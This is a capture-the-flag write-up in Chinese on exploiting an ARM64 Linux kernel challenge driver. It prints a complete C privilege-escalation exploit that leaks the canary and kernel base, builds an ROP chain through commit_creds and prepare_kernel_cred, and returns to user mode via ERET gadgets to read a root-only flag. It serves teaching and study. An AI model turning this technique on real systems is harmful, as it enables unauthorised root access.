*CTF babyarm核心題目分析

unr4v31發表於2022-04-19

本文從漏洞分析、ARM64架構漏洞利用方式來討論如何構造提權PoC達到讀取root許可權的檔案。此題是一個ARM64架構的Linux 5.17.2 版本核心提權題目,目的是讀取root使用者的flag檔案。

概況

題目預設開啟了KASLR地址隨機化和PXN防護,指定CPU核心數量為一,執行緒為一。

使用cpio命令分離出驅動模組後放到IDA檢視,只實現了readwrite函式的功能,功能相當簡單。read函式把核心棧內容拷貝到全域性變數demo_buf,然後再把demo_buf的內容拷貝到使用者態緩衝區,長度不超過0x1000。其他不重要的資訊可以不用看:

write函式把使用者態緩衝區內容拷貝到demo_buf,然後將demo_buf內容拷貝到核心棧中,同樣長度不超過0x1000:

利用思路

知道模組的基本功能之後,現在來考慮利用方式。

  • 首先,題目啟動指令碼中沒有給定nokaslr,預設開啟地址隨機化,需要洩露核心地址,當然還有canary。並且ARM架構下預設開啟了PXN,核心無法直接執行使用者態程式碼,需要使用ROP技術。
  • 上一步洩露完成之後,可以獲得kernel中的gadget地址,以此來構造ROP,執行commit_creds(prepare_kernel_cred(0))提升程式許可權,返回使用者態,並fork一個新的shell,就可以繼承父程式的許可權完成提權

編寫PoC

第一步的洩露很簡單,直接使用read函式功能就可以達到目的,程式碼如下:

int fd = open("/proc/demo",2);

size_t leak[0x200] = {0};
read(fd, leak, 0x1f8);
for (int i = 0; i < 100; i++)
{
	printf("id %d : 0x%llx\n",i,leak[i]);
}

這裡編譯的時候需要使用交叉編譯為ARM64的程式。交叉編譯環境的安裝方式很簡單:

sudo apt-get install emdebian-archive-keyring
sudo apt-get install linux-libc-dev-arm64-cross libc6-arm64-cross
sudo apt-get install binutils-aarch64-linux-gnu gcc-8-aarch64-linux-gnu
sudo apt-get install g++-8-aarch64-linux-gnu

編譯exp:

aarch64-linux-gnu-gcc-8 -static exp.c -o exp

重新打包後執行exp,根據洩露的結果得知第3個值是核心程式碼地址,第13個值是canary

用ARM64的基礎載入地址 0xffff800008000000 算出核心基址、commit_credsprepare_kernel_cred的地址:

size_t commit_creds, prepare_kernel_cred = 0;
size_t kernel_base,offset = 0;

size_t kernel_addr = leak[2];
size_t canary = leak[12];

offset = kernel_addr - 0xffff8000082376f8;
kernel_base = 0xffff800008000000 + offset;

commit_creds = kernel_base + 0xa2258;
prepare_kernel_cred = kernel_base + 0xa24f8;

接下來要考慮如何構造ROP鏈,如何返回使用者態。

這裡先了解一下ARM64彙編指令和x86_64指令的區別:

  • x86_64指令六個引數為RDI、RSI、RDX、RCX、R8、R9,函式結束時使用LEAVERET平衡棧,返回值放在RAX暫存器中,RET指令會使RSP+8
  • ARM64有X0~X30這些暫存器,引數一為X0暫存器,返回值同樣使用X0暫存器,棧指標為SP暫存器,PC暫存器儲存當前指令,使用LDP X29, X30, [SP] 這種方式給X29和X30暫存器賦值,當RET指令時將X30暫存器值給PC暫存器,但RET指令不會使SP+8,也就是說ARM64不會像X86那樣頻繁移動棧頂

根據以上結論,我們需要控制ARM64的執行流,就需要控制X30暫存器,並給引數暫存器X0賦值。而現在核心棧是我們可控的,那麼理論上就可以控制PC指標。

首先呼叫prepare_kernel_cred(0),引數為0,需要將X0賦值為0,ROPgadget工具不是很好用,直接手動找,在核心檔案中找到如下gadget:

這一部分控制了很多暫存器,可以極大的方便我們後續操作。通過除錯偏移寫出payload如下:

	size_t gadget2 = kernel_base + 0x16950;

	leak[13] = 0x4141414141414141;
	leak[14] = 0x4141414141414141;
	leak[16] = canary;
	leak[18] = gadget2; 
	leak[21] = 0x8888888888888888;
	leak[22] = prepare_kernel_cred;

除錯的時候發現一個問題,因為ARM64的RET指令並不會使用棧中的資料作為返回地址,而是使用X30暫存器的值,在prepare_kernel_cred函式結束後,由於X30暫存器還是之前的值,又再次執行了prepare_kernel_cred,這顯然不是想要的結果。這裡先看看ARM程式是怎麼開闢棧幀的:

這是在核心中隨便找的函式,不用考慮這個函式做了什麼,重點關注第一條指令和最後兩條指令,第一條指令將X29和X30暫存器放入到棧中,最後兩條指令平衡棧。如果去掉第一條指令,那麼在平衡棧的時候就會將我們構造的內容給X29和X30。這裡也看到ARM不像x86那樣可以通過加減地址來獲得不同的指令,ARM指令必須以四位元組對齊為一個指令。所以在執行prepare_kernel_cred時應該地址加上四位元組,執行commit_creds函式也是同理。除錯修改上面的payload為如下:

	leak[13] = 0x4141414141414141;
	leak[14] = 0x4141414141414141;
	leak[16] = canary;
	leak[18] = gadget2; 
	leak[19] = 0;
	leak[20] = 0;
	leak[21] = 0x8888888888888888;
	leak[22] = prepare_kernel_cred + 4;
	leak[32] = commit_creds + 4;
	leak[36] = gadget2; 
	leak[37] = 0x7777777777777777;
	leak[38] = canary;
	leak[39] = 0x2222222222222222;
	leak[40] = 0x3333333333333333;

執行完commit_creds(prepare_kernel_cred(0))後,當前exp程式的cred結構體已經是root,但核心棧已經被我們破壞掉了,繼續執行會導致核心崩潰重啟,此時需要手動返回使用者態起shell。

需要知道的是ARM64使用SVC指令進入核心態,使用ERET指令返回使用者態,同x86一樣,ARM在進入核心態之前會儲存使用者態所有暫存器狀態,在返回時恢復。其中比較重要的暫存器有SP_EL0、ELR_EL1、SPSR_EL1,它們儲存內容分別如下:

  • SP_EL0儲存使用者態的棧指標
  • ELR_EL1儲存要返回的使用者態PC指標
  • SPSR_EL1儲存一個值,暫不知道是何用處,但他的值是固定的0x80001000

我們手動恢復這幾個暫存器,然後在呼叫ERET時就可以返回使用者態執行函式了。而要找到恢復這些暫存器的gadget可以直接在偵錯程式中單步跟隨,找到核心何時返回使用者態,然後直接使用這些gadget就行。內容如下:

   0xffff800008011fe4:	msr	sp_el0, x23
   0xffff800008011fe8:	tst	x22, #0x10
   0xffff800008011fec:	b.eq	0xffff800008011ff4  // b.none
   0xffff800008011ff0:	nop
   0xffff800008011ff4:	ldr	x0, [x28, #3432]
   0xffff800008011ff8:	b	0xffff800008012024

   0xffff800008012024:	msr	elr_el1, x21
   0xffff800008012028:	msr	spsr_el1, x22
   0xffff80000801202c:	ldp	x0, x1, [sp]
   0xffff800008012030:	ldp	x2, x3, [sp, #16]
   0xffff800008012034:	ldp	x4, x5, [sp, #32]
   0xffff800008012038:	ldp	x6, x7, [sp, #48]
   0xffff80000801203c:	ldp	x8, x9, [sp, #64]
   0xffff800008012040:	ldp	x10, x11, [sp, #80]
   0xffff800008012044:	ldp	x12, x13, [sp, #96]
   0xffff800008012048:	ldp	x14, x15, [sp, #112]
   0xffff80000801204c:	ldp	x16, x17, [sp, #128]
   0xffff800008012050:	ldp	x18, x19, [sp, #144]
   0xffff800008012054:	ldp	x20, x21, [sp, #160]
   0xffff800008012058:	ldp	x22, x23, [sp, #176]
   0xffff80000801205c:	ldp	x24, x25, [sp, #192]
   0xffff800008012060:	ldp	x26, x27, [sp, #208]
   0xffff800008012064:	ldp	x28, x29, [sp, #224]
   0xffff800008012068:	nop
   0xffff80000801206c:	nop
   0xffff800008012070:	nop

觀察這兩段gadget,這些暫存器我們都可以控制,這就比較簡單了,直接拿過來用就可以了,並且在執行完這段gadget後,會自動執行ERET指令,其實這段函式就是核心返回使用者態的程式碼。指定上面三個關鍵暫存器的值,使用者態棧地址可以隨意指定一個,核心只做地址校驗,並不會觸發panic,ELR_EL1構造為使用者態程式碼地址,最後修改payload如下:

	leak[13] = 0x4141414141414141;
	leak[14] = 0x4141414141414141;
	leak[16] = canary;
	leak[18] = gadget2; 
	leak[19] = 0;
	leak[20] = 0;
	leak[21] = 0x8888888888888888;
	leak[22] = prepare_kernel_cred + 4;
	leak[32] = commit_creds + 4;
	leak[33] = 0x1111111111111111;

	leak[36] = gadget2; 
	leak[37] = 0x7777777777777777;
	leak[38] = canary;
	leak[39] = 0x2222222222222222;
	leak[40] = 0x3333333333333333;
	leak[41] = (size_t)leak;          // x29  far_el1=0x00ffffc150b790

	leak[42] = kernel_base + 0x11fe4; // x30

	leak[43] = 0x6666666666666666;    // x19
	leak[44] = 0x7777777777777777;    // x20
	leak[45] = (size_t)shell;         // x21   elr_el1=0x41f518
	leak[46] = 0x80001000;            // x22   spsr_el1=0x80001000
	leak[47] = (size_t)leak;          // x23   sp_el0=0x00ffffc150b790
	leak[48] = 0x2222222222222222;    // x24
	leak[49] = 0x3333333333333333;    // x25
	leak[51] = 0x4444444444444444;

完整PoC如下,最後執行system("/bin/sh")時,在clone系統呼叫時會失敗,原因可能是因為某個ARM暫存器未還原,觸發了缺頁機制,會分配一個新的頁,最後PC指標指向這個非法地址,無法獲取shell,所以改成了ORW的方式讀取flag:

#include <stdio.h>
#include <stdlib.h>
#include <linux/types.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>

size_t commit_creds, prepare_kernel_cred = 0; // 0xffff8000080a2258 0xffff8000080a24f8
size_t kernel_base,offset = 0; // 0xffff800008000000
size_t gadget2 = 0;

void shell(void)
{
	// int uid = getuid();
	// printf("uid == %d\n",uid);
	// system("/bin/sh");
	char buf[0x40] = {0};
	int fd = open("/flag",0);
	read(fd, buf, 0x40);
	write(1, buf, 0x40);
}

int main()
{
	int fd = open("/proc/demo",2);
	if (fd < 0)
	{
		puts("open error");
		exit(-1);
	}

	size_t leak[0x200] = {0};

	read(fd, leak, 0x1f8);
	for (int i = 0; i < 36; i++)
	{
		printf("id %d : 0x%llx\n",i,leak[i]);
	}
	size_t kernel_addr = leak[2];
	size_t canary = leak[12];
	printf("kerenl_addr== 0x%llx , canary == 0x%llx\n",kernel_addr,canary);

	offset = kernel_addr - 0xffff8000082376f8; 
	kernel_base = 0xffff800008000000 + offset; //ffffd587d10a2258 0xffffd587d10a2258,
	commit_creds = kernel_base + 0xa2258;
	prepare_kernel_cred = kernel_base + 0xa24f8;
	gadget2 = kernel_base + 0x16950;

	printf("kerenl_base== 0x%llx ,commit_creds == 0x%llx, prepare_kernel_cred == 0x%llx\n",kernel_base,commit_creds,prepare_kernel_cred);
	printf("%p\n",leak);

	leak[13] = 0x4141414141414141;
	leak[14] = 0x4141414141414141;
	leak[16] = canary;
	leak[18] = gadget2; 
	leak[19] = 0;
	leak[20] = 0;
	leak[21] = 0x8888888888888888;
	leak[22] = prepare_kernel_cred + 4;
	leak[32] = commit_creds + 4;
	leak[33] = 0x1111111111111111;
	leak[36] = gadget2; 
	leak[37] = 0x7777777777777777;
	leak[38] = canary;
	leak[39] = 0x2222222222222222;
	leak[40] = 0x3333333333333333;
	leak[41] = (size_t)leak;          // x29  far_el1=0x00ffffc150b790
	leak[42] = kernel_base + 0x11fe4; // x30
	leak[43] = 0x6666666666666666;    // x19
	leak[44] = 0x7777777777777777;    // x20
	leak[45] = (size_t)shell;         // x21   elr_el1=0x41f518
	leak[46] = 0x80001000;            // x22   spsr_el1=0x80001000
	leak[47] = (size_t)leak;          // x23   sp_el0=0x00ffffc150b790
	leak[48] = 0x2222222222222222;    // x24
	leak[49] = 0x3333333333333333;    // x25
	leak[51] = 0x4444444444444444; 
	
	write(fd, leak, 0x200);
	close(fd);

	return 0;
};

完成讀取root許可權的檔案flag:

相關文章